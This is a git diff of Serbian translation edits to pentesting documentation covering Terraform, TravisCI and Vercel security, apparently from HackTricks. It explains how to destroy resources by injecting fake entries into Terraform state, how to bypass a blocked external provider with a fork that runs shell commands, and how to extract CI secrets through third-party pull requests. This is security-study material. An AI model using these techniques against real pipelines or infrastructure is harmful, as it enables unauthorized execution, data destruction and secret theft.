### Brisanje resursa
Postoje 2 načina da uništite resurse:
-1. **Umetnite resurs sa nasumičnim imenom u state fajl koji pokazuje na pravi resurs koji treba uništiti**
+1. **Umetnite resurs sa nasumičnim imenom u stanje fajla koji pokazuje na pravi resurs koji treba uništiti**
Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:
```json
@@ -169,7 +169,7 @@ Takođe je moguće [napraviti prilagođeni provajder](https://developer.hashicor
```
### Zamena crne liste provajdera
-U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Možete objaviti svoj vlastiti fork ili ponovnu implementaciju.
+U slučaju da naiđete na situaciju gde je `hashicorp/external` stavljen na crnu listu, možete ponovo implementirati `external` provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj fork ili ponovnu implementaciju.
```terraform
terraform {
required_providers {
@@ -180,24 +180,24 @@ version = "3.0.0"
}
}
```
-Zatim možete koristiti `external` kao i obično.
+Tada možete koristiti `external` kao i obično.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
-## Automatic Audit Tools
+## Automatski alati za reviziju
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima.
-- **Features:**
+- **Karakteristike:**
- Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
- Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
- Automatizovani zahtevi za ispravke.
-- Detaljna uputstva za otklanjanje problema.
-- **Sign Up:** Kreirajte nalog na [Snyk](https://snyk.io/).
+- Detaljni saveti za otklanjanje problema.
+- **Prijavite se:** Kreirajte nalog na [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
@@ -206,18 +206,18 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov)
-**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i open source pakete.
+**Checkov** je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda.
Skenira cloud infrastrukturu obezbeđenu pomoću [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ili [OpenTofu](https://opentofu.org/) i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
-Izvodi [analizu sastava softvera (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koja je skeniranje open source paketa i slika za zajedničke ranjivosti i izloženosti (CVE).
+Izvodi [Software Composition Analysis (SCA) skeniranje](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, bezbednosno i usklađenosti fokusiran test okvir protiv terraform-a koji omogućava negativne testne sposobnosti za vašu infrastrukturu kao kod.
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` je lagan, testni okvir fokusiran na bezbednost i usklađenost protiv terraform-a koji omogućava negativne testne mogućnosti za vašu infrastrukturu kao kod.
- **usaglašenost:** Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
- **razvoj vođen ponašanjem:** Imamo BDD za gotovo sve, zašto ne i za IaC?
@@ -235,19 +235,19 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
-From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
+Iz [**dokumentacije**](https://github.com/aquasecurity/tfsec): tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
- ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
- ⛔ Stotine ugrađenih pravila
-- 🪆 Skenira module (lokalne i udaljene)
+- 🪆 Skener modula (lokalnih i udaljenih)
- ➕ Evaluira HCL izraze kao i literalne vrednosti
- ↪️ Evaluira Terraform funkcije npr. `concat()`
- 🔗 Evaluira odnose između Terraform resursa
- 🧰 Kompatibilan sa Terraform CDK
- 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
-- 📃 Podržava više formata izlaza: lepi (podrazumevani), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
+- 📃 Podržava više formata izlaza: divno (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
-- ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume
+- ⚡ Veoma brzo, sposobno za brzo skeniranje ogromnih repozitorijuma
```bash
brew install tfsec
tfsec /path/to/folder
@@ -265,10 +265,10 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Iz [**dokumentacije**](https://github.com/tenable/terrascan): Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava da:
- Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije.
-- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u bezbednosti, i omogućava vraćanje na sigurnu poziciju.
-- Otkrivate bezbednosne ranjivosti i kršenja usklađenosti.
+- Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
+- Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
- Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu.
-- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
+- Nudi fleksibilnost da se pokreće lokalno ili integriše sa vašim CI\CD.
```bash
brew install terrascan
```
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index 75eb445bd..fa81d7855 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PRs su dobrodošli koji objašnjavaju kako (zlo)upotrebljavati te platforme iz perspektive napadača
+Github PR-ovi su dobrodošli koji objašnjavaju kako (zlo)upotrebljavati te platforme iz perspektive napadača
- Drone
- TeamCity
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index 8abeb990f..6af100232 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
## Šta je TravisCI
-**Travis CI** je **hostovana** ili na **mestu** **usluga kontinuirane integracije** koja se koristi za izgradnju i testiranje softverskih projekata hostovanih na nekoliko **različitih git platformi**.
+**Travis CI** je **hostovana** ili na **mestu** **kontinuirana integracija** usluga koja se koristi za izgradnju i testiranje softverskih projekata hostovanih na nekoliko **različitih git platformi**.
{{#ref}}
basic-travisci-information.md
@@ -20,24 +20,24 @@ Da biste pokrenuli napad, prvo morate znati kako da pokrenete izgradnju. Po defa
#### Cron poslovi
-Ako imate pristup web aplikaciji, možete **postaviti cron-ove za pokretanje izgradnje**, što može biti korisno za postizanje postojanosti ili za pokretanje izgradnje:
+Ako imate pristup web aplikaciji, možete **postaviti cron poslove za pokretanje izgradnje**, što može biti korisno za postizanje postojanosti ili za pokretanje izgradnje:
.png>)
> [!NOTE]
-> Izgleda da nije moguće postaviti cron-ove unutar `.travis.yml` prema [ovome](https://github.com/travis-ci/travis-ci/issues/9162).
+> Izgleda da nije moguće postaviti cron poslove unutar `.travis.yml` prema [ovome](https://github.com/travis-ci/travis-ci/issues/9162).
-### PR-ovi trećih strana
+### PR treće strane
-TravisCI po defaultu onemogućava deljenje env varijabli sa PR-ovima koji dolaze od trećih strana, ali neko može to omogućiti i tada možete kreirati PR-ove za repozitorij i eksfiltrirati tajne:
+TravisCI po defaultu onemogućava deljenje env varijabli sa PR-ovima koji dolaze od trećih strana, ali neko bi to mogao omogućiti i tada biste mogli kreirati PR-ove za repozitorij i eksfiltrirati tajne:
.png>)
### Ispumpavanje tajni
-Kao što je objašnjeno na stranici [**osnovne informacije**](basic-travisci-information.md), postoje 2 tipa tajni. **Tajne varijable okruženja** (koje su navedene na web stranici) i **prilagođene enkriptovane tajne**, koje su pohranjene unutar `.travis.yml` datoteke kao base64 (napomena da će obe, kada su pohranjene enkriptovane, završiti kao varijable okruženja na konačnim mašinama).
+Kao što je objašnjeno na stranici [**osnovne informacije**](basic-travisci-information.md), postoje 2 tipa tajni. **Tajne varijable okruženja** (koje su navedene na web stranici) i **prilagođene enkriptovane tajne**, koje se čuvaju unutar `.travis.yml` datoteke kao base64 (napomena da će obe, kada su sačuvane enkriptovane, završiti kao varijable okruženja na konačnim mašinama).
-- Da biste **enumerisali tajne** konfigurirane kao **varijable okruženja**, idite na **postavke** **projekta** i proverite listu. Međutim, imajte na umu da će sve varijable okruženja projekta postavljene ovde pojaviti kada pokrenete izgradnju.
+- Da biste **enumerisali tajne** konfigurirane kao **varijable okruženja**, idite na **podešavanja** **projekta** i proverite listu. Međutim, imajte na umu da će sve varijable okruženja projekta postavljene ovde biti prikazane prilikom pokretanja izgradnje.
- Da biste enumerisali **prilagođene enkriptovane tajne**, najbolje što možete učiniti je da **proverite `.travis.yml` datoteku**.
- Da biste **enumerisali enkriptovane datoteke**, možete proveriti za **`.enc` datoteke** u repozitorijumu, za linije slične `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` u konfiguracionoj datoteci, ili za **enkriptovane iv i ključeve** u **varijablama okruženja** kao što su:
@@ -50,7 +50,7 @@ Kao što je objašnjeno na stranici [**osnovne informacije**](basic-travisci-inf
### TravisCI Enterprise
-Ako napadač završi u okruženju koje koristi **TravisCI enterprise** (više informacija o tome šta je to u [**osnovnim informacijama**](basic-travisci-information.md#travisci-enterprise)), moći će da **pokrene izgradnje u Worker-u.** To znači da će napadač moći da se lateralno pomera ka tom serveru sa kojeg bi mogao da:
+Ako napadač završi u okruženju koje koristi **TravisCI enterprise** (više informacija o tome šta je to u [**osnovnim informacijama**](basic-travisci-information.md#travisci-enterprise)), moći će da **pokrene izgradnje u Worker-u.** To znači da će napadač moći da se lateralno kreće do tog servera sa kojeg bi mogao da:
- pobegne na host?
- kompromituje kubernetes?
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 8405151b0..390af48bf 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -12,17 +12,17 @@ Na primer, u Github-u će tražiti sledeće dozvole:
- `read:org` (samo za čitanje)
- `repo`: Daje pristup za čitanje i pisanje koda, statusa commit-a, saradnika i statusa implementacije za javne i privatne repozitorijume i organizacije.
-## Enkriptovane Tajne
+## Enkriptovane tajne
-### Promenljive Okruženja
+### Promenljive okruženja
-U TravisCI, kao i na drugim CI platformama, moguće je **sačuvati na nivou repozitorijuma tajne** koje će biti sačuvane enkriptovane i biće **dekriptovane i postavljene u promenljivu okruženja** mašine koja izvršava gradnju.
+U TravisCI, kao i na drugim CI platformama, moguće je **sačuvati tajne na nivou repozitorijuma** koje će biti sačuvane enkriptovane i biće **dekriptovane i postavljene u promenljive okruženja** mašine koja izvršava gradnju.
.png>)
-Moguće je naznačiti **grane na kojima će tajne biti dostupne** (podrazumevano sve) i takođe da li TravisCI **treba da sakrije njenu vrednost** ako se pojavi **u logovima** (podrazumevano hoće).
+Moguće je naznačiti **grane na kojima će tajne biti dostupne** (podrazumevano sve) i takođe da li TravisCI **treba da sakrije njenu vrednost** ako se pojavi **u logovima** (podrazumevano će).
-### Prilagođene Enkriptovane Tajne
+### Prilagođene enkriptovane tajne
Za **svaki repozitorijum** TravisCI generiše **RSA ključni par**, **čuva** **privatni** ključ, i čini **javnim ključem repozitorijuma dostupnim** onima koji imaju **pristup** repozitorijumu.
@@ -31,7 +31,7 @@ Možete pristupiti javnom ključu jednog repozitorijuma sa:
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-Zatim, možete koristiti ovu postavku da **enkriptujete tajne i dodate ih u vaš `.travis.yaml`**. Tajne će biti **dekriptovane kada se izgradnja pokrene** i dostupne u **promenljivim okruženja**.
+Zatim, možete koristiti ovu postavku da **enkriptujete tajne i dodate ih u vaš `.travis.yaml`**. Tajne će biti **dekriptovane kada se izgradnja pokrene** i biće dostupne u **promenljivim okruženja**.
.png>)
@@ -63,7 +63,7 @@ Napomena da će prilikom enkripcije datoteke 2 Env Varijable biti konfigurisane
## TravisCI Enterprise
-Travis CI Enterprise je **on-prem verzija Travis CI**, koju možete implementirati **u svojoj infrastrukturi**. Zamislite ‘server’ verziju Travis CI. Korišćenje Travis CI omogućava vam da omogućite jednostavan sistem Kontinuirane Integracije/Kontinuirane Isporuke (CI/CD) u okruženju koje možete konfigurisati i obezbediti kako želite.
+Travis CI Enterprise je **on-prem verzija Travis CI**, koju možete implementirati **u svojoj infrastrukturi**. Zamislite 'server' verziju Travis CI. Korišćenje Travis CI omogućava vam da omogućite jednostavan sistem Kontinuirane Integracije/Kontinuirane Isporuke (CI/CD) u okruženju koje možete konfigurisati i obezbediti kako želite.
**Travis CI Enterprise se sastoji od dva glavna dela:**
@@ -74,14 +74,14 @@ Travis CI Enterprise je **on-prem verzija Travis CI**, koju možete implementira
1. **PostgreSQL11** (ili noviji) bazu podataka.
2. Infrastrukturu za implementaciju Kubernetes klastera; može se implementirati u klasteru servera ili na jednoj mašini ako je potrebno.
-3. U zavisnosti od vaše konfiguracije, možda ćete želeti da implementirate i konfigurišete neke od komponenti sami, npr., RabbitMQ - pogledajte [Postavljanje Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) za više detalja.
+3. U zavisnosti od vaše konfiguracije, možda ćete želeti da implementirate i konfigurišete neke od komponenti sami, npr., RabbitMQ - pogledajte [Podešavanje Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) za više detalja.
**TCI Worker zahteva sledeće:**
1. Infrastrukturu gde se može implementirati docker slika koja sadrži **Worker i povezanu sliku za gradnju**.
-2. Povezivost sa određenim komponentama Travis CI Core Services - pogledajte [Postavljanje Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) za više detalja.
+2. Povezivost sa određenim komponentama Travis CI Core Services - pogledajte [Podešavanje Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) za više detalja.
-Količina implementiranih TCI Worker i slika okruženja za gradnju OS će odrediti ukupni kapacitet istovremenih operacija Travis CI Enterprise implementacije u vašoj infrastrukturi.
+Količina implementiranih TCI Worker i OS slika okruženja za gradnju odrediće ukupni kapacitet istovremenog korišćenja Travis CI Enterprise implementacije u vašoj infrastrukturi.
.png>)
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 2964739b6..3756778f0 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -6,7 +6,7 @@
U Vercelu, **Tim** je kompletno **okruženje** koje pripada klijentu, a **projekat** je **aplikacija**.
-Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **dozvolom za gledanje** ili barem **dozvolom za gledanje projekta** kako bi se proverili projekti (u slučaju da je potrebno proveriti samo projekte, a ne i konfiguraciju tima).
+Za pregled učvršćivanja **Vercela** potrebno je zatražiti korisnika sa **Viewer role permission** ili barem **Project viewer permission over the projects** da bi se proverilo (u slučaju da je potrebno proveriti samo projekte, a ne i konfiguraciju Tima).
## Podešavanja projekta
@@ -16,12 +16,12 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
#### Konfiguracije bezbednosti:
-- **Prenos**
+- **Transfer**
- **Pogrešna konfiguracija:** Omogućava prenos projekta na drugi tim
- **Rizik:** Napadač bi mogao ukrasti projekat
-- **Brisanje projekta**
-- **Pogrešna konfiguracija:** Omogućava brisanje projekta
-- **Rizik:** Brisanje projekta
+- **Obriši projekat**
+- **Pogrešna konfiguracija:** Omogućava brisanje projekta
+- **Rizik:** Obriši projekat
---
@@ -36,10 +36,10 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
- **Rizik:** Otmica domena, presretanje saobraćaja i phishing napadi.
- **Upravljanje SSL/TLS sertifikatima**
- **Pogrešna konfiguracija:** Korišćenje slabih ili istečenih SSL/TLS sertifikata.
-- **Rizik:** Ranljivost na napade tipa man-in-the-middle (MITM), kompromitovanje integriteta i poverljivosti podataka.
+- **Rizik:** Ranljivost na napade "man-in-the-middle" (MITM), kompromitovanje integriteta i poverljivosti podataka.
- **Implementacija DNSSEC**
- **Pogrešna konfiguracija:** Neaktiviranje DNSSEC ili pogrešna DNSSEC podešavanja.
-- **Rizik:** Povećana podložnost napadima lažiranja DNS-a i trovanja kešom.
+- **Rizik:** Povećana podložnost napadima DNS spoofing i cache poisoning.
- **Okruženje korišćeno po domenu**
- **Pogrešna konfiguracija:** Promena okruženja koje koristi domen u produkciji.
- **Rizik:** Izlaganje potencijalnih tajni ili funkcionalnosti koje ne bi trebale biti dostupne u produkciji.
@@ -48,7 +48,7 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
### Okruženja
-**Svrha:** Definisanje različitih okruženja (Razvoj, Pregled, Proizvodnja) sa specifičnim podešavanjima i varijablama.
+**Svrha:** Definisanje različitih okruženja (Razvoj, Pregled, Produkcija) sa specifičnim podešavanjima i varijablama.
#### Konfiguracije bezbednosti:
@@ -74,7 +74,7 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
- **Pogrešna konfiguracija:** Ako je onemogućeno (podrazumevano) moguće je pročitati vrednosti generisanih tajni.
- **Rizik:** Povećana verovatnoća slučajnog izlaganja ili neovlašćenog pristupa osetljivim informacijama.
- **Deljene varijable okruženja**
-- **Pogrešna konfiguracija:** Ovo su varijable okruženja postavljene na nivou tima i mogu takođe sadržati osetljive informacije.
+- **Pogrešna konfiguracija:** Ovo su varijable okruženja postavljene na nivou Tima i mogu takođe sadržati osetljive informacije.
- **Rizik:** Povećana verovatnoća slučajnog izlaganja ili neovlašćenog pristupa osetljivim informacijama.
---
@@ -99,9 +99,9 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
- **Neosigurane integracije trećih strana**
- **Pogrešna konfiguracija:** Integracija sa nepouzdanim ili neosiguranim uslugama trećih strana.
-- **Rizik:** Uvođenje ranjivosti, curenje podataka ili zadnja vrata kroz kompromitovane integracije.
+- **Rizik:** Uvođenje ranjivosti, curenje podataka ili backdoor-ova kroz kompromitovane integracije.
- **Prekomerno ovlašćene integracije**
-- **Pogrešna konfiguracija:** Dodeljivanje prekomernih dozvola integrisanim uslugama.
+- **Pogrešna konfiguracija:** Dodeljivanje prekomernih ovlašćenja integrisanim uslugama.
- **Rizik:** Neovlašćen pristup resursima projekta, manipulacija podacima ili prekidi usluga.
- **Nedostatak praćenja integracija**
- **Pogrešna konfiguracija:** Nepratiti i neauditovati integracije trećih strana.
@@ -120,7 +120,7 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
- **Pogrešna konfiguracija:** Onemogućavanje autentifikacije ili neprovođenje provere članova tima.
- **Rizik:** Neovlašćeni korisnici mogu pristupiti implementacijama, što dovodi do curenja podataka ili zloupotrebe aplikacija.
-**Zaštita zaobilaženja za automatizaciju**
+**Zaobilaženje zaštite za automatizaciju**
- **Pogrešna konfiguracija:** Javna izloženost tajne zaobilaženja ili korišćenje slabih tajni.
- **Rizik:** Napadači mogu zaobići zaštitu implementacije, pristupajući i manipulišući zaštićenim implementacijama.
@@ -132,8 +132,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
**OPTIONS Allowlist**
-- **Pogrešna konfiguracija:** Preširoko dozvoljavanje putanja ili osetljivih krajnjih tačaka.
-- **Rizik:** Napadači mogu iskoristiti nezaštićene putanje za izvođenje neovlašćenih radnji ili zaobilaženje bezbednosnih provera.
+- **Pogrešna konfiguracija:** Prekomerno široko dozvoljavanje putanja ili osetljivih krajnjih tačaka.
+- **Rizik:** Napadači mogu iskoristiti nezaštićene putanje za izvršavanje neovlašćenih radnji ili zaobilaženje bezbednosnih provera.
**Zaštita lozinkom**
@@ -184,8 +184,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
#### Konfiguracije bezbednosti:
- **Onemogući Cron posao**
-- **Pogrešna konfiguracija:** Omogućava onemogućavanje cron poslova deklarisanih unutar koda
-- **Rizik:** Potencijalno prekidanje usluge (u zavisnosti od svrhe cron poslova)
+- **Pogrešna konfiguracija:** Omogućava onemogućavanje cron poslova deklarisanih unutar koda.
+- **Rizik:** Potencijalno prekidanje usluge (u zavisnosti od toga za šta su cron poslovi bili namenjeni).
---
@@ -207,28 +207,28 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
**Logovi izgradnje i zaštita izvora**
-- **Pogrešna konfiguracija:** Onemogućavanje zaštite ili izlaganje `/logs` i `/src` putanja javnosti.
+- **Pogrešna konfiguracija:** Onemogućavanje zaštite ili izlaganje `/logs` i `/src` putanja javno.
- **Rizik:** Neovlašćen pristup logovima izgradnje i izvoru koda, što dovodi do curenja informacija i potencijalne eksploatacije ranjivosti.
**Zaštita Git forkova**
- **Pogrešna konfiguracija:** Omogućavanje neovlašćenih pull zahteva bez odgovarajućih pregleda.
-- **Rizik:** Zlonamerni kod može biti spojen u kodnu bazu, uvodeći ranjivosti ili zadnja vrata.
+- **Rizik:** Zlonamerni kod može biti spojen u kodnu bazu, uvodeći ranjivosti ili backdoor-ove.
**Siguran pristup backend-u sa OIDC federacijom**
- **Pogrešna konfiguracija:** Pogrešno postavljanje OIDC parametara ili korišćenje nesigurnih URL-ova izdavača.
- **Rizik:** Neovlašćen pristup backend uslugama kroz neispravne tokove autentifikacije.
-**Politika zadržavanja implementacija**
+**Politika zadržavanja implementacije**
-- **Pogrešna konfiguracija:** Postavljanje perioda zadržavanja prekratko (gubitak istorije implementacija) ili predugo (nepotrebno zadržavanje podataka).
+- **Pogrešna konfiguracija:** Postavljanje perioda zadržavanja prekratko (gubitak istorije implementacije) ili predugo (nepotrebno zadržavanje podataka).
- **Rizik:** Nemogućnost vraćanja na prethodne verzije kada je to potrebno ili povećan rizik od izlaganja podataka iz starih implementacija.
**Nedavno obrisane implementacije**
-- **Pogrešna konfiguracija:** Nepratiti obrisane implementacije ili se oslanjati isključivo na automatska brisanja.
-- **Rizik:** Gubitak kritične istorije implementacija, otežavajući revizije i vraćanja.
+- **Pogrešna konfiguracija:** Nepratiti obrisane implementacije ili oslanjanje isključivo na automatska brisanja.
+- **Rizik:** Gubitak kritične istorije implementacije, otežavajući revizije i vraćanja.
---
@@ -240,8 +240,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
**Lista direktorijuma**
-- **Pogrešna konfiguracija:** Omogućavanje liste direktorijuma omogućava korisnicima da vide sadržaj direktorijuma bez datoteke indeksa.
-- **Rizik:** Izlaganje osetljivih datoteka, strukture aplikacije i potencijalnih ulaznih tačaka za napade.
+- **Pogrešna konfiguracija:** Omogućavanje liste direktorijuma omogućava korisnicima da vide sadržaj direktorijuma bez indeksnog fajla.
+- **Rizik:** Izlaganje osetljivih fajlova, strukture aplikacije i potencijalnih ulaznih tačaka za napade.
---
@@ -253,13 +253,13 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
**Omogući izazov napada**
-- **Pogrešna konfiguracija:** Omogućavanje ovoga poboljšava odbranu web aplikacije protiv DoS, ali na račun upotrebljivosti
+- **Pogrešna konfiguracija:** Omogućavanje ovoga poboljšava odbranu web aplikacije protiv DoS, ali na račun upotrebljivosti.
- **Rizik:** Potencijalni problemi sa korisničkim iskustvom.
### Prilagođena pravila i blokiranje IP-a
-- **Pogrešna konfiguracija:** Omogućava otključavanje/blokiranje saobraćaja
-- **Rizik:** Potencijalni DoS omogućavajući zlonameran saobraćaj ili blokirajući benigni saobraćaj
+- **Pogrešna konfiguracija:** Omogućava otključavanje/blokiranje saobraćaja.
+- **Rizik:** Potencijalni DoS omogućavajući zlonamerni saobraćaj ili blokirajući benigni saobraćaj.
---
@@ -267,13 +267,13 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
### Izvor
-- **Pogrešna konfiguracija:** Omogućava pristup za čitanje kompletnog izvornog koda aplikacije
-- **Rizik:** Potencijalno izlaganje osetljivih informacija
+- **Pogrešna konfiguracija:** Omogućava pristup za čitanje kompletnog izvornog koda aplikacije.
+- **Rizik:** Potencijalno izlaganje osetljivih informacija.
### Zaštita od pomeranja
- **Pogrešna konfiguracija:** Ova zaštita osigurava da klijentska i serverska aplikacija uvek koriste istu verziju kako ne bi došlo do desinkronizacije kada klijent koristi drugačiju verziju od servera i stoga se ne razumeju.
-- **Rizik:** Onemogućavanje ovoga (ako je omogućeno) moglo bi izazvati DoS probleme u novim implementacijama u budućnosti
+- **Rizik:** Onemogućavanje ovoga (ako je omogućeno) moglo bi izazvati DoS probleme u novim implementacijama u budućnosti.
---
@@ -283,12 +283,12 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
#### Konfiguracije bezbednosti:
-- **Prenos**
-- **Pogrešna konfiguracija:** Omogućava prenos svih projekata na drugi tim
-- **Rizik:** Napadač bi mogao ukrasti projekte
-- **Brisanje projekta**
-- **Pogrešna konfiguracija:** Omogućava brisanje tima sa svim projektima
-- **Rizik:** Brisanje projekata
+- **Transfer**
+- **Pogrešna konfiguracija:** Omogućava prenos svih projekata na drugi tim.
+- **Rizik:** Napadač bi mogao ukrasti projekte.
+- **Obriši projekat**
+- **Pogrešna konfiguracija:** Omogućava brisanje tima sa svim projektima.
+- **Rizik:** Obriši projekte.
---
@@ -297,8 +297,8 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
#### Konfiguracije bezbednosti:
- **Limit troškova Speed Insights**
-- **Pogrešna konfiguracija:** Napadač bi mogao povećati ovaj broj
-- **Rizik:** Povećani troškovi
+- **Pogrešna konfiguracija:** Napadač bi mogao povećati ovaj broj.
+- **Rizik:** Povećani troškovi.
---
@@ -307,11 +307,11 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
#### Konfiguracije bezbednosti:
- **Dodaj članove**
-- **Pogrešna konfiguracija:** Napadač bi mogao održati postojanost pozivajući nalog koji kontroliše
-- **Rizik:** Postojanost napadača
+- **Pogrešna konfiguracija:** Napadač bi mogao održati postojanost pozivajući nalog koji kontroliše.
+- **Rizik:** Postojanost napadača.
- **Uloge**
-- **Pogrešna konfiguracija:** Dodeljivanje previše dozvola ljudima kojima to nije potrebno povećava rizik od konfiguracije Vercela. Proverite sve moguće uloge na [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
-- **Rizik**: Povećava izloženost Vercel tima
+- **Pogrešna konfiguracija:** Dodeljivanje previše ovlašćenja ljudima kojima to nije potrebno povećava rizik od konfiguracije Vercela. Proverite sve moguće uloge na [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
+- **Rizik:** Povećava izloženost Vercel Tima.
---
@@ -321,11 +321,11 @@ Za pregled učvršćivanja **Vercela**, potrebno je zatražiti korisnika sa **do
**Potencijalne pogrešne konfiguracije:**
